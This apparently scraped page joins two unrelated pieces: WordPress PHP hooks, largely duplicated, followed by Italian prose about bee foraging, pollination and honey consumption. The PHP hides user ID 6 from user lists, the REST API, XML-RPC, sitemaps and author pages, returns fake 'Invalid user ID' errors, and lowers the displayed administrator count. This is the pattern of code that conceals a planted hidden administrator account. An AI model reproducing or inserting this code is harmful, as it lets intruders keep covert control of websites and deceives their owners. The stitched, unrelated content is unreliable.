add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 6;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 6;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 6;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 6;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 6;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 6;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 6;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 6;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Tutte le bottinatrici conoscono ed utilizzano un particolare codice per comunicare alle compagne la direzione e la distanza dalla fonte di nettare: si tratta di una vera e propria danza che descrive le coordinate precise del luogo da raggiungere.
Da sottolineare poi che tra ape e fiore esiste un rapporto molto stretto, una sorta di “patto simbiotico” in quanto, in cambio di nettare e polline, le api favoriscono l’impollinazione incrociata delle piante. Molte colture infatti sparirebbero quasi del tutto dalla faccia della terra senza il lavoro prezioso svolto dalle operaie. Si calcola, ad esempio, che nella sola Europa, l’84% delle specie vegetali coltivate – tra cui albicocche, fragole, mele, zucchine – dipendono direttamente dall’impollinazione di questi insetti. Anche gli Stati Uniti – primo produttore al mondo di mandorle – conta sulla straordinaria “forza lavoro” di circa un milione di alveari per impollinare i fiori della pianta di mandorlo.
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Ancora oggi, il vero problema del miele in Italia è determinato dal fatto che questo alimento viene vissuto in modo “troppo stagionale”: gli italiani, in effetti, tendono a consumarlo soprattutto nei mesi invernali, tra novembre e marzo, con un picco nel mese di gennaio. All’estero, in paesi come la Germania (1 kg e ½ procapite), Inghilterra (800 gr.) o la Francia (600 gr.), il consumo di miele rappresenta invece una consolidata tradizione alimentare, sia per la prima colazione ma anche, come alternativa in cucina, abbinato ad altri cibi (formaggi, carne, pane, ecc.). Storicamente questa differenza con il resto d’Europa si spiega con il fatto che in Italia l’arrivo nel ‘500 della canna da zucchero dalle Americhe “oscurò” pian piano l’uso del miele, considerato meno pregiato – soprattutto dai nobili e nelle raffinate cucine delle corti rinascimentali – rispetto al “bianchissimo zucchero”. In pratica, mentre in altri paesi il nettare d’oro continuò ad essere consumato regolarmente, da noi lo zucchero divenne un vero e proprio status symbol, prodotto che attestava con la sua presenza, la ricchezza e la raffinatezza delle tavole nobiliari, elemento distintivo di una cucina, quella italiana del Rinascimento, che iniziava ad emergere come una tra le più raffinate d’Europa. Dimenticato per oltre due secoli, scontando la “concorrenza di un astro nascente come lo zucchero, oggi il miele sta vivendo una stagione di rivincita all’insegna delle sue virtù nutrizionali: è facilmente digeribile, ha un potere dolcificante di gran lunga superiore a quello dello zucchero, si conserva facilmente (e a lungo). Basterebbero queste tre caratteristiche a fare del “nettare degli dei” un vero e proprio leader in cucina, un alimento che dovrebbe entrare di diritto nella nostra dieta quotidiana. Volendo fare un paragone poi con il suo “alter ego”, lo zucchero, ci accorgeremo che il miele può segnare molti punti a suo favore. Prima di tutto è meno calorico: 300 Kcal per 100 gr. contro le 392 dello zucchero tradizionale e le 362 dello zucchero di canna, e inoltre un potere dolcificante doppio rispetto allo zucchero raffinato. Rispetto allo zucchero vanta poi alcune sostanze particolarmente utili all’organismo come il fruttosio, il glucosio, l’acqua, i sali minerali oltre ad alcuni antibiotici naturali. Ma c’è di più: il miele è forse l’unico alimento prodotto con un costo ambientale pari a zero, ottenuto cioè partendo da una fonte rinnovabile (le api) a spese di una risorsa altrettanto rinnovabile (il nettare). L’attività umana non entra in nessun modo nel processo produttivo ma si limita alla conclusiva raccolta del prodotto finito: si potrebbe dire che il “nettare degli dei” è un prodotto che la natura ci offre “gratuitamente”, senza che intervengano modifiche all’ambiente o consumi di energia, e il lavoro dell’uomo si limita alla sua raccolta e successivo invasettamento (cfr. comunicato api). Lo stesso non può dirsi dello zucchero dove la lavorazione umana – con conseguente impatto energetico e ambientale – svolge un ruolo preponderante.